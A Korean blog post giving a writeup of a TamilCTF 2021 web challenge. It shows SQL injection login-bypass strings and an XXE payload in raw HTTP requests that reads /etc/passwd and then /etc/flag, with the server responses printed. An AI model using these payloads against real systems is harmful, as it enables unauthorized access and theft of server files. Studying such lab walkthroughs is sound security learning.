티스토리 뷰

보안/CTF

[Web] News Notifier 2021 Tamil CTF Writeup

돔돔이부하 2021. 9. 30. 02:01
728x90
반응형

문제 설명 : TamilCTF plans to send news updates to their participants, a web developer from their team creates a Web App for that. You have been informed to steal the flag from their Web App.

점점 가면 갈수록 문제 설명이 미궁으로 빠지는 것 같습니다. 이번 문제는 700점짜리 문제로 33팀 밖에 풀지 못한 문제였는데요, 솔직히 공격기법 자체는 쉬운데, 마지막에 flag 를 찾기 위해서는 상당한 guessing 이 필요한 문제가 됩니다.

 

로그인 화면이 첫화면입니다. username 과 password 를 입력하는 input 폼이 있습니다.

어디에도 진입점이 안보여서 SQL Injection 을 시도해보았습니다.

test'||1-- -
test'||1 limit 1-- -

첫 번째 꺼는 했을 때 안되었는데, 두 번째 것을 할 때 그제서야 로그인이 되었습니다. 로그인 하면 아래 화면이 나옵니다.

로그인 하니깐 회원가입 폼이 나왔는데, 흐름상 입력값을 넣어주고 Create Account 버튼을 눌러보았습니다.

POST /process.php HTTP/1.1
Host: 3.98.127.87:8010
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://3.98.127.87:8010
Referer: http://3.98.127.87:8010/ctf.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=327vji179c1tjsk8mulc4au262
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<root>
    <name>test</name>
    <tel>01012341234</tel>
    <email>test@test.com</email>
    <password>test</password>
</root>

위와 같은 POST 요청이 보내지는데, data 부분이 XML 데이터가 넘어갑니다. 그리고 아래는 해당 요청에 대한 response 입니다.

HTTP/1.1 200 OK
Host: 3.98.127.87:8010
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Content-type: text/html

Sorry, test@test.com is already registered!

돌아오는 문자열로 봐서는 이메일에 해당하는 부분을 저희가 XXE Injection 했을 때 육안으로 확인할 수 있을 것 같습니다.

그래서 아래와 같은 페이로드를 이용해서 /etc/passwd 파일을 출력해보았습니다.

POST /process.php HTTP/1.1
Host: 3.98.127.87:8010
Content-Length: 210
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://3.98.127.87:8010
Referer: http://3.98.127.87:8010/ctf.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=327vji179c1tjsk8mulc4au262
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<root><name>test</name><tel>01012341234</tel><email>&ent;</email><password>test</password></root>

결과로는 아래와 같이 passwd 파일이 잘 출력됨을 알 수 있습니다.

HTTP/1.1 200 OK
Host: 3.98.127.87:8010
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Content-type: text/html

Sorry, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
mysql:x:102:107:MySQL Server,,,:/nonexistent:/bin/false
xxe:x:1000:1000:,,,:/home/xxe:/bin/bash
 is already registered!

그럼 Flag는 어디에 있는 것일까요? PHP 서버라서 php wrapper 를 이용해서 RCE를 해보려고 하였지만 안타깝게도 expect wrapper 는 import 되어 있지 않은 것인지 사용할 수 없었습니다.

그러다가 ctf.php 페이지에서 소스코드 보기 시에 나오는 주석 한 줄을 확인할 수 있었습니다.

<!--Your "flag" is in the directory which stores configuration files-->
<h2>We hope our news reaches you h4kerrr</h2>

설정 관련 디렉토리에 flag가 위치하고 있다고 합니다. 저는 이를 찾기 위해서 php wrapper 로 index.php 나 ctf.php 파일의 소스코드를 조회해보기도 하였으나, sqlite database 의 username과 password를 제외하고는 중요한 힌트는 발견하지 못했습니다. 하지만 database credential 를 획득했더라도 당장 시도해볼 수 있는 것이 없었습니다.

왜냐하면 CTF 운영진 측에서 SQL Injection Bruteforce 시도를 자제해달라고 했기 때문입니다.

 

그러다가 결국 flag 의 위치를 알게되었을 땐 조금 허탈했습니다. php 서버라서 php.ini 설정파일을 확인도 해보았습니다만, 해당 파일 내용에도 별 내용이 없었습니다.

/etc/php5/cli/php.ini

 

결론적으로 플래그는 아래 경로에 위치해 있었습니다.

/etc/flag
HTTP/1.1 200 OK
Host: 3.98.127.87:8010
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Content-type: text/html

Sorry, TamilCTF{XXE_1s_ImPaCtFuL_0n_5eRv3R}
 is already registered!

 

728x90
반응형
댓글